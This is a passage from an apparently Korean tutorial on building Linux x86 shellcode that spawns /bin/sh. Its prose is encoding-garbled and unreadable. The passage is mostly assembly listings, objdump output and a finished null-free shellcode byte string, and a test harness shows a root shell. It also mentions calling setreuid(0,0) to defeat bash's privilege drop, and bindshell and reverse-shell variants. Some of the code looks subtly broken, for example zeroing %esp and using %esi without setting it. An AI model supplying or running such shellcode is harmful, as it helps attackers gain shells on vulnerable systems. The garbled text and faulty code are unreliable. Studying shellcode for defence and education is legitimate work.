: push %ebp // ±âÁ¸ÀÇ base point °ª ÀúÀå 0x80481e1 : mov %esp,%ebp // »õ·Î¿î base point °ª ¼³Á¤ 0x80481e3 : sub $0x8,%esp // ½ºÅÃÀÇ 8 ¹ÙÀÌÆ®ÀÇ °ø°£ ÇÒ´ç 0x80481e6 : movl $0x808cec8,0xfffffff8(%ebp) // str[0]¿¡ "/bin/sh" ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò ÀúÀå 0x80481ed : movl $0x0,0xfffffffc(%ebp) // str[1]¿¡ NULL ÀúÀå ========================================================= ±× ´ÙÀ½¿£ ¶Ç ´Ù½Ã 4 ¹ÙÀÌÆ®ÀÇ ¿ë·®À» ÇÒ´ç ¹Þ´Âµ¥, ÀÌ °ÍÀº ¾Æ¹«·± Àǹ̵µ ¾ø´Â DUMMY °ªÀÌ´Ù. ¹Ù·Î µÚÂÊ ºÎºÐÀ» º¸¸é ÃÑ 3°³ÀÇ º¯¼ö¸¦ pushÇÏ´Â ¸ð½ÀÀ» º¼ ¼ö Àִµ¥, ÀÌ °ÍµéÀÌ ÃÑ 12 ¹ÙÀÌÆ®À̱⠶§¹®¿¡ ±ò²ûÇÏ°Ô 16¹ÙÀÌÆ®·Î ¸ÂÃçÁÖ±â À§ÇØ 4 ¹ÙÀÌÆ®¸¦ Ãß°¡ÇÑ °ÍÀÌ´Ù. ù ¹ø° push´Â execve()ÇÔ¼öÀÇ ¸¶Áö¸· ÀÎÀÚÀÎ 0À» ½ºÅÿ¡ Áý¾î ³ÖÀº °ÍÀÌ´Ù. ±×¸®°í µÎ ¹ø° push´Â str[0]ÀÇ ÁÖ¼Ò °ªÀ¸·Î¼­, *str[2]À¸·Î ¼±¾ðµÈ Æ÷ÀÎÅÍ ¹è¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò¸¦ ½ºÅÿ¡ ÀúÀåÇÑ °ÍÀÌ´Ù. ¸¶Áö¸· push´Â str[0]¿¡ ÀúÀåµÈ ÁÖ¼Ò Áï, "/bin/sh"ÀÇ ÁÖ¼Ò °ªÀ» ½ºÅÿ¡ ÀúÀåÇÑ´Ù. ±×¸®°í ÀÌÁ¦ execve() ÇÔ¼ö¸¦ È£ÃâÇÔÀ¸·Î¼­, main() ÇÔ¼öÀÇ ºÐ¼®Àº ³¡³­´Ù. ========================================================= 0x80481f4 : sub $0x4,%esp // DUMMY °ª ÇÒ´ç 0x80481f7 : push $0x0 // ¼¼ ¹ø° ÀÎÀÚ 0 ÀúÀå 0x80481f9 : lea 0xfffffff8(%ebp),%eax // str[0]ÀÇ ÁÖ¼Ò °ªÀ» %eax¿¡ ÀúÀå 0x80481fc : push %eax // µÎ ¹ø° ÀÎÀÚ str[0]ÀÇ ÁÖ¼Ò ÀúÀå 0x80481fd : pushl 0xfffffff8(%ebp) // ¼¼ ¹ø° ÀÎÀÚ str[1] ÀúÀå 0x8048200 : call 0x804cb40 // execve() ÇÔ¼ö È£Ãâ ========================================================= ÀÌÁ¦ main() ÇÔ¼ö°¡ È£ÃâÇÑ execve() ÇÔ¼ö¸¦ disassemble Çغ¸ÀÚ. ´Ù¼Ò ±ä ¾î¼Àºí¸®¾î Äڵ尡 Ãâ·ÂµÇÁö¸¸, Áß¿äÇÑ ºÎºÐÀº ´ÙÀ½¿¡ ºÒ°úÇÏ´Ù. ==================================================== 0x804cb46 : mov %esp,%ebp 0x804cb4c : mov 0x8(%ebp),%edi 0x804cb56 : mov 0xc(%ebp),%ecx 0x804cb59 : mov 0x10(%ebp),%edx 0x804cb5d : mov %edi,%ebx 0x804cb5f : mov $0xb,%eax 0x804cb64 : int $0x80 ==================================================== ÀÏ´Ü, »ó´ë ÁÖ¼ÒÀÇ ³»¿ëÀ» È®ÀÎÇϱâ À§ÇØ Çö»õ ½ºÅÃÀÇ ¸ð½ÀÀ» »ó»óÇØ º¸ÀÚ. ³·Àº ¸Þ¸ð¸® ÁÖ¼Ò ³ôÀº ¸Þ¸ð¸® ÁÖ¼Ò =========================================================================== SFP | execveÀÇ RET | str[1] | str[0]ÀÇ ÁÖ¼Ò | 0 | SFP | mainÀÇ RET =========================================================================== <----- ½ºÅÿ¡ °ªÀÌ ½×ÀÌ´Â ¹æÇâ ÀÌÁ¦ execveÀÇ ³»¿ëÀ» º¸¸é, °¡Àå ¸ÕÀú »õ·Î¿î base point°¡ ¼³Á¤µÇ¸ç, ±× ´ÙÀ½ ù ¹ø° ÀÎÀÚ¿¡ ÇØ´çÇÏ´Â °ªÀÌ %edi ·¹Áö½ºÅÍ¿¡ ÀúÀåµÈ´Ù. ±×¸®°í °Å±â¼­ 3ÁÙ ¾Æ·§ ºÎºÐÀ» º¸¸é, ±× °ªÀ» ´Ù½Ã %ebx¿¡ ÀúÀåÇÏ´Â ¸ð½ÀÀ» º¼ ¼ö ÀÖ´Ù. ±× ´ÙÀ½¿£ µÎ ¹ø° ÀÎÀÚÀÎ str[0]ÀÇ ÁÖ¼Ò °ªÀÌ %ecx¿¡ ÀúÀåµÈ´Ù. ¸¶Áö¸·À¸·Î %edx¿¡´Â ¼¼ ¹ø° ÀÎÀÚÀÎ 0ÀÌ ÀúÀåµÈ´Ù. À̸¦ Á¤¸®ÇÏ¸é ´ÙÀ½°ú °°´Ù. %eax = 11 : execve ½Ã½ºÅÛ ÄÝ ¹øÈ£ %ebx = str[1] : "/bin/sh" %ecx = str : Æ÷ÀÎÅÍ ¹è¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò %edx = 0 : NULL ==================================================== 0x804cb46 : mov %esp,%ebp 0x804cb4c : mov 0x8(%ebp),%edi // ù ¹ø° ÀÎÀÚÀÎ str[1] 0x804cb56 : mov 0xc(%ebp),%ecx // µÎ ¹ø° ÀÎÀÚÀÎ str[0]ÀÇ ÁÖ¼Ò 0x804cb59 : mov 0x10(%ebp),%edx // ¼¼ ¹ø° ÀÎÀÚÀÎ 0 0x804cb5d : mov %edi,%ebx // str[1]À» ´Ù½Ã %ebx¿¡ ÀúÀå 0x804cb5f : mov $0xb,%eax // execve ½Ã½ºÅÛ ÄÝ ¹øÈ£ÀÎ 11 0x804cb64 : int $0x80 ==================================================== ÀÚ, ±×·³ ÀÌÁ¦ À§ ³»¿ëÀ» Åä´ë·Î ½©À» ½ÇÇà½ÃÅ°´Â ÇÁ·Î±×·¥À» ¾î¼Àºí¸®¾î·Î ÀÛ¼ºÇØ º¸ÀÚ. * ¿ì¸®°¡ ÇؾßÇÏ´Â °Íµé (1) %eax¿¡ 11À» ³Ö±â (2) %ebx¿¡ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ³Ö±â (3) %ecx¿¡ Æ÷ÀÎÅÍ ¹è¿­ ["/bin/sh"ÀÇ ÁÖ¼Ò][0]ÀÇ ÁÖ¼Ò¸¦ ³Ö±â (4) %edx¿¡ 0À» ³Ö±â (5) ½Ã½ºÅÛ ÄÝ ÀÎÅÍ·´Æ® ¹ß»ý º¸´Ù½ÃÇÇ (3)¹øÀ» Á¦¿ÜÇÏ°í´Â ¸ðµÎ °£´ÜÇÑ ÀÛ¾÷ÀÌ´Ù. (3)¹øÀ» ±¸ÇöÇÏ´Â °úÁ¤¸¸ À¯½ÉÈ÷ »ìÆ캸¸é Àüü Äڵ带 ÀÌÇØÇÏ´Â °ÍÀÌ ¹«³­ÇÒ °ÍÀÌ´Ù. ============================================================== .globl main main: jmp come_here // Áö³­¹ø °­Á ¸¶Áö¸·¿¡¼­ ¹è¿ü´ø Å×Å©´Ð Àû¿ë. func: movl $0x0b, %eax // execveÀÇ ½Ã½ºÅÛ ÄÝ ¹øÈ£ 11À» %eax¿¡ ³ÖÀ½. popl %ebx // "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ %ebx¿¡ ³ÖÀ½. (ù° ÀÎÀÚ) movl %ebx, (%esi) movl $0x00, 0x4(%esi) // ¹è¿­ Æ÷ÀÎÅ͸¦ ±¸Çö. ["/bin/sh"ÀÇ ÁÖ¼Ò][0] leal (%esi), %ecx // ¹è¿­ Æ÷ÀÎÅÍ ½ÃÀÛ ÁÖ¼Ò¸¦ %ecx¿¡ ³ÖÀ½. (µÑ° ÀÎÀÚ) movl $0x00, %edx // NULLÀ» ³ÖÀ½. (¼Â° ÀÎÀÚ) int $0x80 // ½Ã½ºÅÛ ÄÝ È£Ãâ ÀÎÅÍ·´Æ® ¹ß»ý // ¿©±â¼­ ºÎÅÍ´Â exit(0)À» ±¸ÇöÇÑ °Í. movl $0x01, %eax movl $0x00, %ebx int $0x80 come_here: calll func .string "/bin/sh\00" ============================================================== ±×³É ·¹Áö½ºÅÍ ¸íÀ» »ç¿ëÇϸé, ±×°ÍÀº ·¹Áö½ºÅÍ ÀÚü¸¦ ÀǹÌÇÏÁö¸¸, ·¹Áö½ºÅÍ ¸í¿¡ °ýÈ£ ()¸¦ ³ÖÀ¸¸é, ·¹Áö½ºÅÍ¿¡ ÀúÀåµÇ¾îÀÖ´Â ÁÖ¼Ò °ªÀ» ÀǹÌÇÏ°Ô µÈ´Ù´Â Á¡¿¡ À¯ÀÇÇϸç Äڵ带 ÀÌÇØÇϱ⠹ٶõ´Ù. Áï, ¸¸¾à movl 0x0, %eax ¶ó°í ¸í·ÉÇϸé, %eax ·¹Áö½ºÅÍ¿¡ 0À» ´ëÀÔÇ϶ó´Â °ÍÀÌÁö¸¸, movl 0x0, (%eax) ¶ó°í ¸í·ÉÇϸé, %eax¿¡ ÀúÀåµÇ¾î ÀÖ´Â ÁÖ¼Ò¿¡ 0À» ´ëÀÔÇ϶ó´Â ¸í·ÉÀÌ´Ù. ÀÌÁ¦ À§ Äڵ带 ÄÄÆÄÀÏÇÏ¿©, Á¤»óÀûÀ¸·Î ½©ÀÌ ½ÇÇàµÇ´ÂÁö È®ÀÎÇغ¸ÀÚ. ================================================== [root@hackerschool assem]# gcc -o shell shell.s [root@hackerschool assem]# ./shell sh-2.05a# ================================================== Á¤»óÀûÀ¸·Î ÀÛµ¿ÇÑ´Ù. ÀÌÁ¦ À§ ¾î¼Àºí¸®¾î Äڵ带 ±â°è¾î·Î º¯È¯ÇÏÀÚ. ============================================================================ [root@hackerschool assem]# objdump -d shell ... »ý·« ... 080483d0
: 80483d0: eb 24 jmp 80483f6 080483d2 : 80483d2: b8 0b 00 00 00 mov $0xb,%eax 80483d7: 5b pop %ebx 80483d8: 89 1e mov %ebx,(%esi) 80483da: c7 46 04 00 00 00 00 movl $0x0,0x4(%esi) 80483e1: 8d 0e lea (%esi),%ecx 80483e3: ba 00 00 00 00 mov $0x0,%edx 80483e8: cd 80 int $0x80 80483ea: b8 01 00 00 00 mov $0x1,%eax 80483ef: bb 00 00 00 00 mov $0x0,%ebx 80483f4: cd 80 int $0x80 080483f6 : 80483f6: e8 d7 ff ff ff call 80483d2 80483fb: 2f das 80483fc: 62 69 6e bound %ebp,0x6e(%ecx) 80483ff: 2f das 8048400: 73 68 jae 804846a 8048402: 00 00 add %al,(%eax) ... »ý·« ... ============================================================================ À§ ½©Äڵ忡 ¾ð¶æ º¸±â¿£ ¾Æ¹«·± ¹®Á¦°¡ ¾ø¾î º¸ÀÌÁö¸¸, »ç½Ç ¾ÆÁÖ Ä¡¸íÀûÀÎ ¹®Á¦°¡ Á¸ÀçÇÑ´Ù. ±×°ÍÀº ¹Ù·Î ½© ÄÚµå Áß°£ Áß°£¿¡ \x00 À̶ó´Â ¹®ÀÚ°¡ ÀÖ´Ù´Â Á¡ÀÌ´Ù. ¸¸¾à, ÀÌ ½©Äڵ尡 strcpy() µîÀÇ ¹®ÀÚ¿­À» ´Ù·ç´Â ÇÔ¼ö¿¡ »ç¿ëµÈ´Ù¸é ½©ÄÚµå ³»¿ëÀÌ Áß°£¿¡ ©·Á³ª°¡ ¹ö¸± °ÍÀÌ´Ù. ¿Ö³ÄÇá¸é, ´ëºÎºÐÀÇ ¹®ÀÚ¿­À» ´Ù·ç´Â ÇÔ¼öµéÀÌ \x00(NULL) ¹®ÀÚ¸¦ ¸¸³ª¸é ±×°ÍÀÌ ¹®ÀÚ¿­ÀÇ ³¡À¸·Î ÀνÄÇÏ¿© °ªÀ» ÀÐ¾î µéÀÌ´Â ÀÛ¾÷À» Áß´ÜÇϱ⠶§¹®ÀÌ´Ù. ±×·³ ¾î¶² ¹æ¹ýÀ¸·Î \x00 °ªÀ» ¾ø¾Ù ¼ö ÀÖÀ»±î? °¡Àå ¸¹ÀÌ »ç¿ëµÇ´Â °£´ÜÇÑ Æ®¸¯ Çϳª¸¦ ¼Ò°³ÇÏ°Ú´Ù. ¾î¼Àºí¸®¾î ¸í·É Áß¿¡´Â xor À̶ó´Â ¹èŸÀû ³í¸®ÇÕÀ» ÀǹÌÇÏ´Â °ÍÀÌ ÀÖ´Ù. ¹èŸÀû ³í¸®ÇÕÀ̶õ, A¿Í B°ªÀÌ ÁÖ¾îÁ³À» ¶§, A¿Í B°¡ ¼­·Î ´Ù¸¦ ¶§¸¸ ÂüÀÌ µÇ´Â ¿¬»ê ¹æ¹ýÀÌ´Ù. ´ÙÀ½ÀÇ ¿¹¸¦ º¸ÀÚ. A : 1010 A : 0010 A : 1110 A : 0010 B : 1011 B : 1001 B : 0000 B : 0010 °á°ú : 0001 °á°ú : 1011 °á°ú : 1110 °á°ú : 0000 À§ °á°ú¸¦ º¸¸é ¿¬»ê ¹æ¹ý¿¡ ´ëÇØ ½±°Ô ÀÌÇØ°¡ µÉ °ÍÀÌ´Ù. À§ 4°¡Áö ¿¹Á¦¿¡¼­ ÁÖ¸ñÇÒ ¸¸ÇÑ °ÍÀº ¹Ù·Î ³× ¹ø° °á°úÀÌ´Ù. A°¡ 0010ÀÌ°í, Bµµ 0010À¸·Î µÎ °ªÀÌ ¼­·Î ¿ÏÀüÈ÷ °°´Ù. ÀÌ·¸°Ô µÎ °ªÀÌ ¿ÏÀüÈ÷ °°À» ¶© ±× °á°ú°¡ ¹«Á¶°Ç 0ÀÌ µÇ¾î ¹ö¸°´Ù. XOR ¿¬»ê ¿ø¸®¿¡ ÀÇÇØ ´ç¿¬È÷ ³ªÅ¸³ª´Â Çö»óÀ̸ç, XOR ¿¬»êÀÇ Æ¯Â¡ÀÌ´Ù. ÀÚ, ±×·³ ÀÌÁ¦ ƯÁ¤ ·¹Áö½ºÅÍÀÇ °ªÀ» ¸ðµÎ 0À¸·Î ä¿ì´Â ¹æ¹ýÀ» ¾Ë¾Æ³Â´Ù. ÇÑ ¿¹·Î À§¿¡¼­ "mov $0xb,%eax" ¸í·ÉÀ» º¸ÀÚ. %eax¿¡ 0xb °ªÀÌ ÀúÀåµÉ ¶§ 4¹ÙÀÌÆ® ´ÜÀ§·Î º¯È¯µÇ¼­ ÀúÀåµÇ±â ¶§¹®¿¡, ½ÇÁ¦·Î´Â "mov $0x0000000b %eax" ¸í·ÉÀÌ µÈ´Ù. ¹Ù·Î ÀÌ °úÁ¤¿¡¼­ \00ÀÌ ³ªÅ¸³µ´ø °ÍÀÌ´Ù. ±×·³, ÀÏ´Ü XOR ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© %eaxÀÇ °ªÀ» ¸ù¶¥ 0À¸·Î ¹Ù²Ù¾î º¸ÀÚ. "xor %eax %eax" ÀÌ ¸í·ÉÀ¸·Î ÀÎÇØ ÀÌÁ¦ %eaxÀÇ °ªÀº ¸ðµÎ 0ÀÌ µÇ¾ú´Ù. ¿Ö³ÄÇá¸é ¾Õ¼­ ¹è¿ü´ø ¹Ù¿Í °°ÀÌ µÎ ¿¬»ê ÀÎÀÚ°¡ ¿ÏÀüÈ÷ °°´Ù¸é xor ¿¬»ê °á°ú´Â ¹«Á¶°Ç 0ÀÌ µÇ±â ¶§¹®ÀÌ´Ù. ±×·³ ÀÌÁ¦ ¹®Á¦´Â %eaxÀÇ ¸¶Áö¸· 1¹ÙÀÌÆ®¿¡ \x0b °ªÀ» ³Ö´Â ¹æ¹ýÀÌ´Ù. ÀÌ °ÍÀº ¾î¼Àºí¸®¾î ¸í·ÉµéÀÌ °¢ ¹ÙÀÌÆ® ¼ö¿¡ ÀûÇÕÇÏ°Ô ³ª´µ¾îÁ® Á¸ÀçÇÔÀ¸·Î °¡´ÉÇØÁø´Ù. ¿ì¸®´Â Áö±Ý±îÁö mov ¸í·ÉÀ» »ç¿ëÇÒ ¶§, ½ÇÁ¦·Î movlÀ̶ó°í µÚ¿¡ lÀ» ºÙ¿© »ç¿ë Çß´Ù. ÀÌ µÚÀÇ lÀº longword. Áï, 4¹ÙÀÌÆ® ÀǹÌÇϸç, l ÀÌ¿Ü¿¡ w¿Í b°¡ µû·Î Á¸Àç ÇÑ´Ù. Áï, movw ¸í·ÉÀ» »ç¿ëÇϸé 2¹ÙÀÌÆ®¸¸À» movÇÏ°Ô µÇ°í, ¸¶Âù°¡Áö·Î movb ¸í·ÉÀ» »ç¿ëÇÏ¸é ´Ü 1¹ÙÀÌÆ®¸¸À» movÇÏ°Ô µÈ´Ù. ÀÚ, ÀÌÁ¦ ÀÌ »ç½ÇÀ» ¾Ë¾ÒÀ¸´Ï %eaxÀÇ ³¡ ºÎºÐ¿¡ ½±°Ô \x0b °ªÀ» ³ÖÀ» ¼ö ÀÖÀ» °ÍÀÌ´Ù. "xor %eax %eax" <- %eax¸¦ ¸ðµÎ 0À¸·Î ¹Ù²Û ÈÄ.. "movb $0x0b %eax" <- %eaxÀÇ ³¡ ¹ÙÀÌÆ®¿¡¸¸ \x0b¸¦ ³Ö´Â´Ù. ÀÌÁ¦ \x00ÀÌ Á¸ÀçÇÏ´Â ³ª¸ÓÁö ¸í·Éµéµµ À§¿Í °°Àº ¹æ¹ýÀ» »ç¿ëÇÏ¿© ¼öÁ¤ÇØ º¸ÀÚ. * ¿ø·¡ ÄÚµå ============================================================== .globl main main: jmp come_here func: movl $0x0b, %eax popl %ebx movl %ebx, (%esi) movl $0x00, 0x4(%esi) leal (%esi), %ecx movl $0x00, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 come_here: calll func .string "/bin/sh\00" ============================================================== * ¼öÁ¤µÈ ÄÚµå ============================================================== .globl main main: jmp come_here func: xor %eax, %eax movb $0x0b, %eax popl %ebx movl %ebx, (%esi) xor 0x4(%esi), 0x4(%esi) leal (%esi), %ecx xor %edx, %edx int $0x80 xor %eax, %eax movb $0x01, %eax xor %ebx, %ebx int $0x80 come_here: calll func .string "/bin/sh\00" ============================================================== ¿©±â¼­ ÇÑ °¡Áö ¹®Á¦°¡ »ý±â´Âµ¥, ±×°ÍÀº ¹Ù·Î xor 0x4(%esi), 0x4(%esi) ºÎºÐÀÌ´Ù. ÀÌ·± ¸í·ÉÀº ¾î¼Àºí¸®¾î ¹®¹ý¿¡ ¸ÂÁö ¾Ê±â ¶§¹®ÀÌ´Ù. ±×·³ ÀÌ·± ºÎºÐÀº ¾î¶»°Ô ÇØ°áÇÒ ¼ö ÀÖÀ»±î? ¹æ¹ýÀº °£´ÜÇÏ´Ù. 0À¸·Î °¡µæÂ÷ ÀÖ´Â º¯¼ö Çϳª¸¦ °¡Á®¿Í¼­ º¹»çÇÏ´Â °ÍÀÌ´Ù. xor 0x4(%esi), 0x4(%esi)ÀÇ ¹Ù·Î À­ ÁÙ¿¡ 0À¸·Î °¡µæÂù ·¹Áö½ºÅ͸¦ Çϳª ¸¸µç ÈÄ, ±×°ÍÀ» movlÇÏÀÚ. xor 0x4(%esi), 0x4(%esi) ---> xor %esp, %esp movl %esp, 0x4(%esi) ÀÌÁ¦ ¿Ï¼ºµÈ ¸ð½ÀÀº ´ÙÀ½°ú °°´Ù. ============================================================== .globl main main: jmp come_here func: xor %eax, %eax movb $0x0b, %eax popl %ebx movl %ebx, (%esi) xor %esp, %esp movl %esp, 0x4(%esi) leal (%esi), %ecx xor %edx, %edx int $0x80 xor %eax, %eax movb $0x01, %eax xor %ebx, %ebx int $0x80 come_here: calll func .string "/bin/sh\00" ============================================================== ÀÌÁ¦ 100% ¿Ïº®ÇÑ°¡? ¾Æ´Ï´Ù. /bin/sh ¹Ù·Î µÚ¿¡ \x00ÀÌ µü Çϳª ³²¾ÆÀÖ´Ù. ÀÌ°Í ¿ª½Ã 0x4(%esi)¸¦ ¹Ù²Û °Í°ú °°Àº ¹æ¹ýÀ¸·Î ÇØ°áÇÒ ¼ö ÀÖ´Ù. ÀÏ´Ü, .string¿¡ ÀÖ´Â \00À» ¾ø¾Ø ÈÄ, ´ÙÀ½°ú °°ÀÌ Äڵ带 ¼öÁ¤ÇÑ´Ù. popl %ebx ---> popl %ebx xor %esp, %esp movl %esp, 0x7(%ebx) "/bin/sh"ÀÇ ÃÑ ±æÀÌ°¡ 7 ¹ÙÀÌÆ®À̱⠶§¹®¿¡ ±×¸¸Å­ ¶³¾îÁø ºÎºÐ¿¡ 0À» ³Ö¾ú´Ù. À̷νá, ´Ü ÇÑ °³ÀÇ NULLµµ Á¸ÀçÇÏÁö ¾Ê´Â ±â°è¾î Äڵ带 ¿Ï¼ºÇÏ¿´´Ù. ÀÌÁ¦ ÀÌ ¾î¼Àºí¸®¾î Äڵ带 ÄÄÆÄÀÏÇÏ°í, ¿Ï¼ºµÈ ±â°è¾î¸¦ objdump·Î ÃÖÁ¾ °ËÅä Çغ¸ÀÚ. ========================================================================= ... »ý·« ... 080483d0
: 80483d0: eb 1f jmp 80483f1 080483d2 : 80483d2: 31 c0 xor %eax,%eax 80483d4: b0 0b mov $0xb,%al 80483d6: 5b pop %ebx 80483d7: 31 e4 xor %esp,%esp 80483d9: 89 63 07 mov %esp,0x7(%ebx) 80483dc: 89 1e mov %ebx,(%esi) 80483de: 31 e4 xor %esp,%esp 80483e0: 89 66 04 mov %esp,0x4(%esi) 80483e3: 8d 0e lea (%esi),%ecx 80483e5: 31 d2 xor %edx,%edx 80483e7: cd 80 int $0x80 80483e9: 31 c0 xor %eax,%eax 80483eb: b0 01 mov $0x1,%al 80483ed: 31 db xor %ebx,%ebx 80483ef: cd 80 int $0x80 080483f1 : 80483f1: e8 dc ff ff ff call 80483d2 80483f6: 2f das 80483f7: 62 69 6e bound %ebp,0x6e(%ecx) 80483fa: 2f das 80483fb: 73 68 jae 8048465 <_IO_stdin_used+0x1> =========================================================================== º¸´Ù½ÃÇÇ, ´Ü ÇÑ °³ÀÇ NULL(0x00)µµ Á¸ÀçÇÏÁö ¾Ê´Â´Ù. ÀÌÁ¦ °ÅÀÇ ¿Ïº®ÇÑ ½© Äڵ尡 ¸¸µé¾îÁø µí ÇÏÁö¸¸, Áö±Ý±îÁö ½¬¿î ÀÌÇظ¦ ¸ñÀûÀ¸·Î ¼³¸íÇÏ¸ç ½©Äڵ带 ¸¸µé¾ú±â ¶§¹®¿¡ ¼Ò½º°¡ ´Ù¼Ò ºñÈ¿À²ÀûÀÌ°í, ¹Ýº¹µÈ ºÎºÐµµ ÀÖ´Ù. µû¶ó¼­, ¾Õ¼­ ¸¸µç Äڵ带 Á¶±Ý ´õ ±ò²ûÇÏ°Ô ¼öÁ¤ÇØ º¸µµ·Ï ÇÏ°Ú´Ù. Âü°í·Î, ½©ÄÚµå´Â Ãë¾à ÇÁ·Î±×·¥ÀÇ ÇÑÁ¤µÈ ¹öÆÛ ¾ÈÀ¸·Î ÀúÀåµÇ¾ß ÇÏ´Â °æ¿ì°¡ ¸¹ÀÌ ¶§¹®¿¡ ½©ÄÚµåÀÇ »çÀÌÁî°¡ ÀûÀ¸¸é ÀûÀ» ¼ö·Ï ´õ¿í °ø°Ý¿¡ À¯¸®ÇÏ´Ù. ½ÇÁ¦ ±¹¿Ü À¯¸í Exploit »çÀÌÆ®ÀÎ hack.co.za¿¡¼± °¡Àå ªÀº ½©ÄÚµå ¸¸µé±â ÄÁÅ×½ºÆ®°¡ ¿­·ÈÀ» Á¤µµ·Î ÇØÄ¿µé »çÀÌ¿¡¼­ ªÀº ½©ÄÚµå ¸¸µé±â ±â¼úÀº Èï¹Ì·Î¿î ÁÖÁ¦°¡ µÇ±âµµ ÇÑ´Ù. Âü°í·Î, ÇöÀç±îÁö ¹ßÇ¥µÈ ½©ÄÚµåµé Áß °¡Àå ªÀº °ÍÀº ¾à 22¹ÙÀÌÆ®ÀÌ´Ù. À§ ½©ÄÚµåÀÇ °æ¿ì¿£ 45¹ÙÀÌÆ®¸¦ Â÷ÁöÇÏ°í Àִµ¥, ¾î¼Àºí¸®¾î Äڵ带 ¾à°£ ¼öÁ¤ ÇÏ¿© Á¶±Ý ´õ ¼¼·ÃµÈ ½©ÄÚµå·Î ¹ßÀü½ÃÄѺ¸µµ·Ï ÇÏÀÚ. ============================================================================= 080483d0
: 80483d0: eb 15 jmp 80483e7 080483d2 : 80483d2: 31 c0 xor %eax,%eax 80483d4: 5b pop %ebx 80483d5: 89 43 07 mov %eax,0x7(%ebx) 80483d8: 89 1e mov %ebx,(%esi) 80483da: 89 46 04 mov %eax,0x4(%esi) 80483dd: b0 0b mov $0xb,%al 80483df: 31 e4 xor %esp,%esp 80483e1: 8d 0e lea (%esi),%ecx 80483e3: 31 d2 xor %edx,%edx 80483e5: cd 80 int $0x80 080483e7 : 80483e7: e8 e6 ff ff ff call 80483d2 80483ec: 2f das 80483ed: 62 69 6e bound %ebp,0x6e(%ecx) 80483f0: 2f das 80483f1: 73 68 jae 804845b ============================================================================= ¾à, 10¹ÙÀÌÆ® °¡·® Ãà¼ÒµÇ¾ú´Ù. xor Äڵ尡 Áߺ¹µÈ °ÍÀ» ÃÖ¼ÒÈ­ ½ÃÄ×°í, exit(0) ºÎºÐÀº Á¦°Å¸¦ ½ÃÄ×´Ù. ¿Ö³ÄÇϸé, /bin/shÀÌ ½ÇÇàµÇ¸é¼­ »õ·Î¿î ¸Þ¸ð¸® °ø°£À¸·Î À̵¿µÇ±â ¶§¹®¿¡ exit(0)·Î µÞ Á¤¸®¸¦ ÇØÁÙ ÇÊ¿ä°¡ ¾øÀ¸¸ç, ÀÌ ½©¿¡¼­ ³ª¿Ã ¶§ exit ¸í·ÉÀ» »ç¿ëÇϱ⠶§¹®¿¡ ±»ÀÌ exit(0)À» ³Ö¾îÁÙ ÇÊ¿ä°¡ ¾ø±â ¶§¹®ÀÌ´Ù. ±×·³, Áö±Ý±îÁö ¸¸µç ±â°è¾î¸¦ 16Áø¼ö·Î ÇüÅ·ΠÂÞ¿í À̾ÀÚ. \xeb\x15\x31\xc0\x5b\x89\x43\x07\x89\x1e\x89\x46\x04\xb0\x0b\x31\xe4\x8d\x0e \x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 ÀÌ°ÍÀÌ ¿Ï¼ºµÈ ½©ÄÚµåÀÌ´Ù. ÀÌÁ¦ ½ÇÁ¦ ´Ù¸¥ ÇÁ·Î±×·¥ ¾È¿¡¼­µµ Á¤»óÀûÀ¸·Î ÀÛµ¿ ÇÏ´ÂÁö È®ÀÎÀ» Çغ¸ÀÚ. ========================================================================= char code[] = "\xeb\x15\x31\xc0\x5b\x89\x43\x07\x89\x1e\x89\x46\x04" "\xb0\x0b\x31\xe4\x8d\x0e\x31\xd2\xcd\x80\xe8\xe6\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { void (*pointer)(void); pointer = (void *)code; pointer(); } ========================================================================= ========================================================================= [root@hackerschool assem]# gcc -o shell shell.c [root@hackerschool assem]# ./shell sh-2.05a# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) sh-2.05a# exit exit [root@hackerschool assem]# ========================================================================= ¼º°øÀÌ´Ù. ÀÌ·Î½á ½©ÄÚµå ¸¸µé±â°¡ ³¡³µ´Ù. ÇÏÁö¸¸, À§ ½©ÄÚµå·Î /bin/sh¸¦ ½ÇÇà ½ÃÅ°¸é ÇÑ °¡Áö ¹®Á¦°¡ »ý±ä´Ù. ¿Ö³ÄÇÏ¸é ·¹µåÇÞ ¹öÁ¯ 7.0 ÀÌÈÄ¿¡, /bin/sh(bash)°¡ ¹éµµ¾î·Î »ç¿ëµÇ´Â °ÍÀ» ¹æÁöÇϱâ À§ÇØ /bin/shÀÌ ½ÇÇàµÉ ¶§ ÇÁ·Î±×·¥ÀÇ ½ÇÇà ±ÇÇÑÀÌ ¾Æ´Ñ, ÇÁ·Î±×·¥À» ½ÇÇà½ÃŲ »ç¿ëÀÚÀÇ ±ÇÇÑÀ¸·Î ½ÇÇàµÇ±â ¶§¹®ÀÌ´Ù. µû¶ó¼­ mirableÀ̶ó´Â »ç¿ëÀÚ°¡ root ±ÇÇÑÀÇ ÆÄÀÏÀ» ÇØÅ·ÇÏ¿© /bin/shÀ» ½ÇÇàÇϸé, root°¡ ¾Æ´Ñ, mirable ±ÇÇÑÀÇ ½©À» ¾ò°Ô µÈ´Ù. ÇÏÁö¸¸, ÀÌ ¹®Á¦´Â ½©À» ½ÇÇà½ÃÅ°±â Àü¿¡ setreuid(0,0);À» È£ÃâÇÔÀ¸·Î½á ¾ÆÁÖ ½±°Ô ÇØ°áÇÒ ¼ö ÀÖ´Ù. ÀÌó·³, /bin/shÀÇ ¹æ¾î³ª chroot(), ½©ÄÚµå ¹®ÀÚ ÇÊÅ͸µ µîÀ» ¿ìȸÇÏ´Â ½©ÄÚµå. ȤÀº, ¸®¸ðÆ® ȯ°æ »ó¿¡¼­ »ç¿ëÇÒ ¼ö ÀÖ´Â bindshell, reverse telnet ½©ÄÚµå µîÀ» ¸¸µå´Â ½©Äڵ忡 ´ëÇؼ­´Â µû·Î ½ÉµµÀÖ°Ô ´Ù·ç¾î º¸±â·Î ÇÏ°í, ÀÌ °­Á´ °¡Àå ±âº»ÀûÀÎ ½©ÄÚµå ¸¸µé±â¸¦ ¸ñÀûÀ¸·Î ÇÏ°í 